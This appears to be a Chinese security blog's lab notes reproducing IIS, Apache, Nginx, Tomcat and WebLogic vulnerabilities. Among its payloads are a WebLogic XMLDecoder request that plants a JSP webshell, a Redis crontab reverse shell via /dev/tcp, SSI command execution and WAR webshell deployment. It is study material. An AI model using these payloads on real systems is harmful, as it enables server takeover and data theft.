玩命加载中 . . .

常见中间件漏洞


中间件

中间件也是web漏洞的一个方面,中间件 脚本语言 数据库三者之间是由关系的,比如说java 常用tomcat(当然还和系统的大小有关),而中间件本身还是有很多漏洞的,所以自己简单总结一下复现一下常见的中间件漏洞(记录笔记)。

IIS漏洞

介绍

IIS简介
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。

IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据

PUT写漏洞

漏洞介绍及成因

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。

版本: IIS6.0
开启WebDAV 和写权限

upload successful

upload successful
向服务器发送OPTIONS请求包:

OPTIONS / HTTP/1.1
Host: 192.168.124.141
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 21 Feb 2003 12:15:52 GMT
If-None-Match: "0ce1f9a2d9c21:415"
Cache-Control: max-age=0

upload successful
先使用PUT方法上传一个txt文件然后在使用MOVE方法进行修改,当然你得有写入权限:
upload successful

upload successful
然后发送数据包

MOVE /lnng.txt HTTP/1.1
Host: 192.168.124.141
Destination: http://192.168.124.141/lnng.asp
Content-Length: 0

要有空行,没有空行是复现不成功的(这里坑了我好久)
upload successful

短文件名猜解

漏洞介绍及成因

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。

可以测试一下
在Windows下查看对应的短文件名,可以使用命令dir /x
创建一个
lnnnnnnng.html文件
upload successful
我没复现出来应该和版本有关,怎么访问都是404,有大佬知道为啥,请指点一下
upload successful
upload successful

CVE-2017-7269

是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

msf可以一把梭

github也有脚本
https://github.com/lcatro/CVE-2017-7269-Echo-PoC

原理:
https://paper.seebug.org/259/

解析漏洞

iis6.0(分号截断) 例如上传asp木马 可以通过 x.asp;.jpg来绕过

iis6.0(在以*.asp命名的文件夹下所有的文件都会被解析成asp文件) 例如我们可以控制上传文件夹,就可以绕过限制image.asp/x.jpg x.jpg被解析成asp

iis7.0或iis7.5在使FastCGI方式调用php时,在php.ini里设置cgi.fix_pathinfo=1URL时,在URL后面添加“/x.php”等字符时,该文件被iis当php文件代码解析
“test.jpg/.php”

Apache漏洞

解析漏洞

Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则继续向左识别,当我们请求这样一个文件:shell.php.xxx.yyy
yyy->无法识别,向左

xxx->无法识别,向左

直到php
但好像只适用于以module方式解析php的apache(可能说错了,我测试是这样的)
复现这里使用phpstudy
选择非nts,非nts就是module方式(测试选择nts模式没法解析)
upload successful
upload successful
修复方法:

注释掉
AddType application/x-httpd-php .php

upload successful

upload successful

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

这里使用vulhub复现
地址:
https://github.com/vulhub/vulhub

upload successful

upload successful
上传一个php文件被拒绝

upload successful
在1.php后面插入一个\x0A

upload successful
发现能够成功解析,但这个文件不是php后缀,存在在解析漏洞
upload successful

Apache SSI 远程命令执行漏洞

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

上传一个shell.shtml 内容
同样使用vulhub复现
地址:https://github.com/vulhub/vulhub
正常上传文件不被允许
upload successful
正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:

 <!--#exec cmd="id" -->

upload successful

upload successful

nginx漏洞

Nginx解析漏洞

该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞
同样使用vulhub复现
地址:https://github.com/vulhub/vulhub

upload successful
正常上传图片
upload successful

upload successful
图片没问题
/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php
upload successful
成功解析为php
修复:

1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面

2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php

Nginx 配置错误三列

CRLF注入漏洞

Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。

可以构造xss 注入一些会话cookie

upload successful
但是尝试发现会被302重定向,没法弹窗

upload successful
按照大佬的方法我还是没复现成功不知为啥,确实不会重定向跳转
而且X-XSS-Protection:0但是还是没有弹窗不知为啥
upload successful
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
师傅们知道还请指点一下

目录穿越漏洞

Nginx在配置别名(Alias)的时候,如果忘记加/闭合,将造成一个目录穿越漏洞。
upload successful

Nginx 文件名逻辑漏洞(CVE-2013-4547)

正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。

fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。

所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

复现

upload successful

upload successful

Tomcat漏洞

是开发和调试JSP 程序的首选。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。 Apache是web服务器,Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展。

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

upload successful

upload successful

Tomcat7+ 弱口令 && 后台getshell漏洞war后门文件部署

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

upload successful
输入弱密码tomcat:tomcat
制作war文件
1.jsp木马压缩为zip,改后缀zip为war上传1.war文件即可

upload successful
漏洞修复

1)在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。

2)增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

3)以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

4)后台管理避免弱口令。

Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)

由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
测试工具
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
upload successful

WebLogic

WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

漏洞复现
写入webshell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.124.136:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 989

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<%
    if("lnng".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

upload successful

upload successful

upload successful
还有几个反序列化,都不写了,我都是工具一把梭哈,脚本小子我菜哭了

SSRF漏洞

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。
探测不存在的端口
upload successful
存在的端口
upload successful
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器,可以写脚本跑一下,
这里就不费劲了直接上帝视角看下docker容器信息

docker inspect 容器id

upload successful

upload successful
发送三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.124.154/5555 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
http://192.168.48.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.124.154%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

upload successful
upload successful

任意文件上传漏洞

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
复现
http://192.168.124.136:7001/console/
登录后台
执行

docker-compose logs | grep password

可查看管理员密码,管理员用户名为weblogic。
登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项,保存
upload successful
访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

upload successful
点击安全

upload successful

upload successful
返回时间戳
访问

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

upload successful

Weblogic任意文件读取

console
控制台
弱密码

weblogic
Oracle@123

任意文件读取漏洞的利用(模拟的)

hello/file.jsp?path=/etc/passwd

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成SerializedSystemIni.dat

upload successful
config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了

upload successful
靶场里解密工具
upload successful
upload successful
后台上传webshell
知道账号密码登录后台
http://192.168.124.136:7001/console

upload successful

upload successful
upload successful
然后一直下一步
完成

upload successful
成功getshell
upload successful

upload successful


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 上一篇
摸鱼web安全两年总结 摸鱼web安全两年总结
开学了大三开学了,What’s up,转眼都大三了,学网络安全两年(摸了两年🐟),回顾一下 发现自己越来越菜… 回顾看看去年立的flag学习安全一年总结 打打vulnhub ✓ 打了DC1-9 继续学习常见漏洞
2021-10-01
下一篇 
golangShellcode加载器 分离免杀 golangShellcode加载器 分离免杀
shellcodeloading项目地址:https://github.com/Lmg66/shellcodeloadinggolang版 shellcode 加载器 效果:实测可免杀360 火绒 原理小玉玉yyds 目录说明│ 1.j
  目录